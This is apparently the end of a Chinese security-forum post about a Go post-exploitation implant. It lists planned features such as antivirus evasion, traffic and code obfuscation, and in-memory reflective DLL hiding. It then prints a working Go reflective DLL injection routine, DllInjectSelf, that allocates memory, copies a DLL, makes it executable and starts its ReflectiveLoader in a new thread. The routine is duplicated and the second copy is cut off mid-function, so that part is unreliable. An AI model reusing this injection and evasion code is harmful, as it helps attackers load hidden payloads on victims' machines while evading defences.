这里有一个小坑,由于是异步,因此发包的顺序可能会乱,导致服务端接收到的包顺序会错乱,认为发生了重放攻击导致命令执行失败。需要在发包时对包的id上锁。

1、简化配置的过程并加密配置文件
2、适配更多功能
3、集成更多的免杀工具
4、增加Linux和Mac平台下后渗透功能
5、增加代码混淆
6、hook服务端jar包类似冰蝎4.0让用户自定义流量加密特征
7、增加混淆的流量
8、混淆内存中的反射型dll

如果有师傅有建议或者想法欢迎来讨论!

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
func DllInjectSelf(params []byte, b []byte) ([]byte, error) {
    p, err := pe.NewFile(bytes.NewReader(b))
    if err != nil {
        return nil, err
    }
 
    ex, e := p.Exports()
    if e != nil {
        return nil, err
    }
 
    var RDIOffset uintptr
    for _, exp := range ex {
        if strings.Contains(strings.ToLower(exp.Name), "reflectiveloader") {
            RDIOffset = uintptr(rvaToOffset(p, exp.VirtualAddress))
        }
    }
 
    process, err := windows.GetCurrentProcess()
    if err != nil {
        return nil, err
    }
 
    if string(params) == "\x00" {
        ba, _, err := VirtualAllocEx.Call(uintptr(process), 0, uintptr(len(b)),
            windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
        if ba == 0 {
            fmt.Println("VirtualAlloc Failed")
            return nil, errors.New("VirtualAlloc Failed")
        }
        if err != nil && err.Error() != "The operation completed successfully." {
            return nil, err
        }
 
        _, _, err = RtlCopyMemory.Call(ba, (uintptr)(unsafe.Pointer(&b[0])), uintptr(len(b)))
        if err != nil && err.Error() != "The operation completed successfully." {
            return nil, err
        }
 
        writeMem(ba, b)
 
        Ldr := ba + RDIOffset
 
        oldProtect := windows.PAGE_READWRITE
        _, _, err = VirtualProtect.Call(ba, uintptr(len(b)), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
        if err != nil && err.Error() != "The operation completed successfully." {
            return nil, err
        }
 
        thread, _, err := CreateThread.Call(0, 0, Ldr, 0, 0, 0)
        if err != nil && err.Error() != "The operation completed successfully." {
            return nil, err
        }
 
        _, _, err = WaitForSingleObject.Call(thread, 1000)
        if err != nil && err.Error() != "The operation completed successfully." {
            return nil, err
        }
 
        return []byte("DllInject success"), nil
 
    }
 
    ba, _, err := VirtualAllocEx.Call(uintptr(process), 0, uintptr(len(b)+len(params)),
        windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
    if ba == 0 {
        fmt.Println("VirtualAlloc Failed")
        return nil, errors.New("VirtualAlloc Failed")
    }
    if err != nil && err.Error() != "The operation completed successfully." {
        return nil, err
    }
 
    _, _, err = RtlCopyMemory.Call(ba, (uintptr)(unsafe.Pointer(&b[0])), uintptr(len(b)))
    if err != nil && err.Error() != "The operation completed successfully." {
        return nil, err
    }
 
    _, _, err = RtlCopyMemory.Call(ba+uintptr(len(b)), (uintptr)(unsafe.Pointer(&params[0])), uintptr(len(params)))
    if err != nil && err.Error() != "The operation completed successfully." {
        return nil, err
    }
 
    writeMem(ba, b)
 
    Ldr := ba + RDIOffset
 
    oldProtect := windows.PAGE_READWRITE
    _, _, err = VirtualProtect.Call(ba, uintptr(len(b)+len(params)), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
    if err != nil && err.Error() != "The operation completed successfully." {
        return nil, err
    }
 
    thread, _, err := CreateThread.Call(0, 0, Ldr, uintptr(unsafe.Pointer(&params[0])), 0, 0)
    if err != nil && err.Error() != "The operation completed successfully." {
        return nil, err
    }
 
    _, _, err = WaitForSingleObject.Call(thread, 1000)
    if err != nil && err.Error() != "The operation completed successfully." {
        return nil, err
    }
 
    return []byte("DllInject success"), nil
}
func DllInjectSelf(params []byte, b []byte) ([]byte, error) {
    p, err := pe.NewFile(bytes.NewReader(b))
    if err != nil {
        return nil, err
    }
 
    ex, e := p.Exports()
    if e != nil {
        return nil, err
    }
 
    var RDIOffset uintptr
    for _, exp := range ex {
        if strings.Contains(strings.ToLower(exp.Name), "reflectiveloader") {
            RDIOffset = uintptr(rvaToOffset(p, exp.VirtualAddress))
        }
    }
 
    process, err := windows.GetCurrentProcess()
    if err != nil {
        return nil, err
    }
 
    if string(params) == "\x00" {
        ba, _, err := VirtualAllocEx.Call(uintptr(process), 0, uintptr(len(b)),
            windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
        if ba == 0 {
            fmt.Println("VirtualAlloc Failed")
            return nil, errors.New("VirtualAlloc Failed")
        }
        if err != nil && err.Error() != "The operation completed successfully." {
            return nil, err
        }
 
        _, _, err = RtlCopyMemory.Call(ba, (uintptr)(unsafe.Pointer(&b[0])), uintptr(len(b)))
        if err != nil && err.Error() != "The operation completed successfully." {
            return nil, err

[培训]科锐逆向工程师培训第53期2025年7月8日开班!

最后于 2023-1-3 11:25 被h4de5编辑 ,原因:
收藏
免费 7
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回